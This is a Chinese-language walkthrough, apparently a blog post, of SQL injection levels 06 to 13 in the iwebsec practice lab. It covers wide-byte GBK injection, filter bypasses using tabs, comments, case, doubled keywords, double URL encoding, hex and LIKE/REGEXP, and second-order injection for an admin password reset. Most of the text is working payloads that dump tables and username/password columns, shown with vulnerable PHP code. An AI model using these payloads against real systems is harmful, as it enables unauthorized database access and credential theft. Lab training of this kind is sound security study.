当前位置: 首页 > news >正文

iwebsec靶场sqli注入(2)

​​​​​​06-宽字节注入

1,该漏洞的根本原因是字符集处理不一致(GBK双字节特性)与不安全的转义方式addslashes)共同导致。构造基础sql注入语句

1%df%27%20%23

漏洞原理

  1. 字符集设置:mysql_query("SET NAMES gbk") 将连接字符集设置为GBK(一种双字节编码)。
  2. 输入处理:使用addslashes($_GET['id'])转义特殊字符(如单引号'会被转义为\')。
  3. 漏洞触发:当输入中包含%df'时:
    • addslashes将其转义为%df\'(即%df%5c%27)
    • GBK解码时,%df%5c被解析为汉字"運"(%df%5c是GBK编码中的合法字符)
    • 最终单引号'逃逸:...id='運'... → 导致SQL语句闭合被破坏

2,其他步骤和sql注入的基本操作是一样的,先判断当前查询的数据表有几列

1%df%27%20order%20by%203%23

1%df%27%20order%20by%204%23

然后就是判断查询语句的回显位置

-1%df%27%20union%20select%201,2,3%23

确认三个都是回显位置之后,再爆出数据库名

-1%df%27%20union%20select%201,version(),database()%23

-1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x73716c69%20--%20

原内容

修正后

原因

table_name='sqli'

table_name=0x73716c69

避免引号被转义,0x73716c69 是 'sqli' 的十六进制

--+

--%20

确保注释符后有空格(%20 是 URL 编码的空格)

开头 -1%df%27

保留

利用宽字节注入绕过转义(%df' → 運'

-1%df%27%20union%20select%20id,username,password%20from%20sqli--%20

07-空格过滤绕过

1,首先分析源代码,代码如何实现的空格绕过

空格过滤实现机制

if (preg_match('/ /', $_GET["id"])) {
    die("ERROR");
}

  1. 正则表达式过滤:使用 preg_match('/ /', ...) 检测输入中是否包含空格字符
  2. 检测到空格立即终止:如果输入中包含任何空格(ASCII 32),直接执行 die("ERROR") 终止脚本
  3. 过滤位置:在SQL查询构造前进行过滤,位于用户输入处理阶段

关键安全漏洞

虽然过滤了空格,但存在严重的SQL注入漏洞:

$id=$_GET['id']; // 未做任何转义或过滤
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 直接拼接

  1. 数字型注入:参数直接拼接到SQL语句中,没有引号包裹
  2. 无其他防护:缺少参数化查询、类型转换等安全措施
  3. 错误信息暴露:print_r(mysql_error()) 会显示详细数据库错误

绕过空格过滤的方法

攻击者可以使用以下字符替代空格:

1. 水平制表符 (TAB)

?id=1%09UNION%09SELECT%091,2,3

2. 换行符

?id=1%0aUNION%0aSELECT%0a1,version(),3

3. 注释符 /**/

?id=1/**/UNION/**/SELECT/**/1,2,database()

4. 括号包裹

?id=(1)UNION(SELECT(1),2,3)

 

2,构造关键攻击语句,四种方法均可

(1)#

1%09#

1%0a#

1/**/#

第一步,判断查询数据表有几列

1/**/order/**/by/**/3#

1/**/order/**/by/**/4#

1/**/union/**/select/**/1,2,3#

-1/**/union/**/select/**/1,version(),database()#

-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='sqli'#

-1/**/union/**/select/**/id,username,password/**/from/**/sqli--

在 SQL 注入中,# 和 -- 注释符的行为差异主要与 URL 编码和 SQL 语法有关。以下是详细解释:

根本原因

  1. URL 中 # 的特殊含义:
  • # 在 URL 中是片段标识符(fragment identifier),浏览器不会将 # 及之后的内容发送到服务器
  • 例如:example.com/test.php?id=1#comment → 服务器只收到 id=1
  1. -- 注释的要求:
  • SQL 标准要求 -- 后必须有空格才能生效
  • 在 URL 中需用 --++ 被解码为空格)或 --%20(%20 是空格编码)

 

08-大小写过滤绕过

1,大小写过滤实现方法

if (preg_match('/select/', $_GET["id"])) {
    die("ERROR");
}

  • 正则表达式过滤:使用 preg_match('/select/', ...) 检测输入中是否包含小写字符串 "select"
  • 区分大小写:正则表达式默认区分大小写,只匹配小写 select
  • 检测到即终止:发现小写 select 时立即终止脚本 (die("ERROR"))

2,尝试order by注释符判断数据表存在几列

1 order by 4 --+

再尝试union select爆出数据库名

1 union SELECT 1,2,3 --+

1 union SELECT 1,version(),database() --+

1 union SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union SELECT 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

1 union SELECT id,username,password from sqli--+

09-双写关键字绕过

过滤逻辑分析

$id = preg_replace('/select/i', '', $_GET["id"]);

  1. 正则表达式过滤:
  • 模式:/select/i
  • i 修饰符:不区分大小写(匹配 SELECT、select、SeLeCt 等)
  • 功能:删除输入中所有出现的 "select" 字符串(不区分大小写)
  1. 处理流程:
  • 获取用户输入的 id 参数
  • 删除其中所有 "select" 字符串(不区分大小写)
  • 将处理后的字符串用于 SQL 查询拼接

双写绕过原理

攻击者通过构造双写关键字来绕过过滤:

  1. 过滤机制缺陷:仅执行一次字符串替换
  2. 绕过方法:插入 selselectect → 过滤后变为 select
  • 原始输入:selselectect
  • 过滤过程:
  • 删除中间的 "select" → sel[删除]ect
  • 结果:select

1,sql注入语句的基本格式是1 --+,尝试判断数据表存在多少列

1 order by 3--+

1 order by 4--+

2,然后再union select判断查询语句的回显位置,需要注意使用双写绕过

1 union%20 selselectect%20 1,2,3--+

1 union%20 selselectect%20 1,version(),database()--+

1 union%20 selselectect%20 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union%20 selselectect%20 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

1 union%20 selselectect%20 id,username,password from sqli--+

10-双重url编码绕过

防御机制分析

if (preg_match('/select/', $_GET["id"])) {
    die("ERROR");
} else {
    $id = urldecode($_GET['id']);  // 关键漏洞点
    $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
}

  1. 关键词过滤:
  • 使用 preg_match('/select/', ...) 检测原始GET参数中是否包含小写字符串 "select"
  • 检测到即终止脚本 (die("ERROR"))
  1. URL解码处理:
  • 对过滤后的参数执行 urldecode() 解码
  • 将解码后的值直接拼接到SQL查询中

1,尝试构造注入语句

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,3#

爆库

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,database()#

爆表

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x69776562736563#

爆列

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(column_name) from information_schema.columns where table_name=0x75736572#

爆数据

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(concat_ws(0x7e,username,password)) from iwebsec.user#

11-十六进制绕过

防御机制分析

if (!get_magic_quotes_gpc()) {  
   
$id = addslashes($_GET['id']);
    $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);          
}else{
    $id =$_GET['id'];        
   
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
}

  1. get_magic_quotes_gpc()检测:
  • 检查PHP配置中magic_quotes_gpc是否开启
  • 该功能在PHP 5.4+已被移除,现代PHP环境总是进入if分支
  1. addslashes()转义:
  • 在特殊字符('"\NULL)前添加反斜杠
  • 示例:' → \'" → \"

关键安全漏洞

1. 数字型注入漏洞

$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

  • 致命缺陷:参数直接拼接到SQL语句,没有引号包裹
  • addslashes()对数字型注入完全无效
  • 攻击者可以构造任意SQL表达式

2. 十六进制绕过机会

当需要字符串参数时,可使用十六进制编码绕过addslashes()

SELECT * FROM user WHERE id=0x31 OR 1=1

 

1,构造漏洞利用语句

1 order by 3 --+

1 order by 4 --+

2,尝试判断数据表存在几列

1 union select 1,2,3--+

1 union select 1,version(),database()--+

1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x73716c69

1 union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from sqli)--+

12-等价函数替换过滤绕过

过滤逻辑分析

1. 等号过滤机制

if (preg_match('/=/', $_GET["id"])) {
    die("ERROR");
}

  • 正则表达式:/=/ 匹配参数中任何位置的等号 =
  • 拦截效果:只要 id 参数包含等号(即使是 URL 编码的 %3D),立即终止脚本并返回 "ERROR"
  • 绕过关键:构造不包含等号但能实现 SQL 注入的 Payload

2. SQL 查询结构

$sql = "SELECT * FROM user WHERE id=$id LIMIT 0,1";

  • 注入点类型:数字型注入(无引号包裹)
  • 漏洞位置:$id 直接拼接进 SQL 语句
  • 可利用点:无需闭合引号,可直接注入 SQL 代码

3. 错误信息泄露

print_r(mysql_error());

  • 关键优势:SQL 报错信息直接输出,支持报错注入
  • 利用价值:可通过错误信息获取数据库结构、查询内容等敏感数据

绕过方案(避免使用等号)

方案 1:使用 LIKE 替代等号(联合查询注入)

/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+

绕过原理:

  • LIKE 实现字符串匹配,功能等效于 =
  • 0x73716c69 是 'sqli' 的十六进制,避免单引号

Payload 分解:

  • -1:使原查询无结果,联合查询结果可见
  • like database():替代 = database()
  • like 0x73716c69:替代 = 'sqli'

方案 2:使用 REGEXP 正则匹配

/12.php?id=1 or table_schema regexp database()--+

  • 优势:正则匹配更灵活,可处理部分匹配
  • 典型场景:布尔盲注中逐字符判断

/12.php?id=1 or (select database()) regexp '^a'--+

完整利用链示例

步骤 1:获取表名

/12.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()--+

步骤 2:获取列名

/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+

步骤 3:提取数据

/12.php?id=-1 union select 1,username,password from sqli--+

13-二次注入

二次注入原理分析

漏洞核心流程

  1. 输入阶段:用户提交恶意数据(含 SQL 片段)
  2. 安全处理:addslashes() 转义特殊字符(如 ' → \'
  3. 存储阶段:转义后的数据存入数据库
  4. 取出阶段:从数据库取出原始数据(转义符被丢弃)
  5. 执行阶段:原始恶意数据拼接到 SQL 语句执行

漏洞存在点分析

// 1. 输入处理(注册时)
$username=addslashes($_POST['username']); // 转义特殊字符
// 存入数据库示例:admin'# → 存储为 "admin\'#"

// 2. 漏洞触发点(reset.php)
// 假设 reset.php 中有如下代码:
$email = $_POST['email']; // 从表单获取邮箱
$sql = "SELECT username FROM sqli WHERE email='$email'"; // 二次注入点

漏洞利用演示

  1. 注册恶意账户:
  • 用户名:admin'# (转义后存储为 admin\'#)
  • 密码:任意值
  • 邮箱:attacker@example.com
  1. 数据库实际存储:

username

password

email

admin'#

123456

attacker@example.com

  • 注意:数据库存储 原始值 admin'#(反斜杠仅存在于插入时的转义过程)
  1. 密码重置攻击:
    // reset.php 代码示例
    $email = $_POST['email']; // 用户输入:attacker@example.com
    $sql = "UPDATE sqli SET password='new_pass' WHERE email='$email'";
    // 实际执行:
    // UPDATE sqli SET password='new_pass' WHERE email='attacker@example.com'
  • 看似安全,但攻击者可构造:
    $email = "attacker@example.com' AND username='admin'#";
  1. 最终 SQL:
    UPDATE sqli SET password='new_pass'
    WHERE email='attacker@example.com' AND username='admin'
    #'
  2. 效果:将 admin 用户的密码重置为 new_pass

漏洞本质原因

  1. 转义机制失效:
  • addslashes() 仅在 数据插入时 提供保护
  • 当数据从数据库取出后,原始值被直接使用,转义符消失
  1. 数据信任错误:
  • 开发者误认为"存入数据库的数据都是安全的"
  • 未对从数据库取出的数据做二次验证
  1. 上下文差异:
  • 注册时:数据作为 VALUES 部分被插入
  • 重置时:数据作为 WHERE 条件被执行

漏洞利用步骤

  1. 注册恶意账户:
    POST /reg.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    username=admin'#&password=attack&email=attacker@example.com
  2. 触发密码重置:
    POST /reset.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    email=attacker@example.com' AND username='admin'#
  3. 实际执行 SQL:
    UPDATE sqli SET password='new_pass'
    WHERE email='attacker@example.com' AND username='admin'
    #'
  • # 注释掉后续单引号
  • 条件成立:同时匹配攻击者邮箱和 admin 用户名

防御方案

  1. 统一输出过滤:
    // 从数据库取出数据后再次转义
    $email = mysql_real_escape_string($row['email']);
  2. 使用预处理语句:
    // reset.php 中
    $stmt = $pdo->prepare("UPDATE sqli SET password=? WHERE email=?");
    $stmt->execute([$new_pass, $email]);
  3. 数据分级管理:
  • 区分用户输入数据 vs 系统存储数据
  • 对所有动态值进行参数化处理
  1. 最小权限原则:
  • 密码重置功能使用独立低权限账户
  • 禁止执行多行 SQL

漏洞验证方法

  1. 注册用户名为 test' OR '1'='1 的账户
  2. 尝试用邮箱 任意值 重置密码
  3. 观察是否重置所有用户密码(或报错信息泄露)

1,注册用户名填admin'#,密码填123,邮箱填admin

然后通过邮箱找回

抓个包分析即可。首先注册用户

然后找回密码

相关文章:

  • 足球外围网站怎么做seo深圳培训班
  • 做网站开店b2b关键词排名工具
  • 南通网站定制企业discuz论坛seo设置
  • 做天猫网站价格优化排名 生客seo
  • 网站建设验收内容海城seo网站排名优化推广
  • 网站 国外空间不需要icp许可证吗网站如何赚钱
  • 09-StarRocks安全配置FAQ
  • 行为验证码 AJ-Captcha 使用文档
  • 计算机网络第九章——数据链路层《介质访问控制》
  • CDN+OSS边缘加速实践:动态压缩+智能路由降低30%视频流量成本(含带宽峰值监控与告警配置)
  • SM4算法的Verilog流水线实现(带测试)
  • 最方便的应用构建——利用云原生快速搭建本地deepseek知识仓库
  • IoTDB的基本概念及常用命令
  • 内存泄漏系列专题分析之二十四:内存泄漏测试Camera相机进程内存指标分布report概述
  • 02-StarRocks数据导入导出FAQ
  • 猿人学js逆向比赛第一届第十二题
  • MemcacheRedis--缓存服务器理论
  • MR7350用TTL刷机救砖过程
  • 桌面小屏幕实战课程:DesktopScreen 8 非易失性存储器NVS
  • 安卓9.0系统修改定制化____安卓9.0修改 默认开启开发者选项与usb调试的操作步骤解析 十一
  • Vue项目使用defer优化页面白屏,性能优化提升,秒加载!!!
  • 大白话蓝牙中的RPC:Remote Procedure Call远程过程调用
  • 夏季小学期
  • DEYOLO 全面复现,将双增强跨模态目标检测网络 DEYOLO 融合到 YOLOFuse 框架
  • 微信小程序节点相关总结
  • 入门级STM32F103C8T6无人机(原理图其一)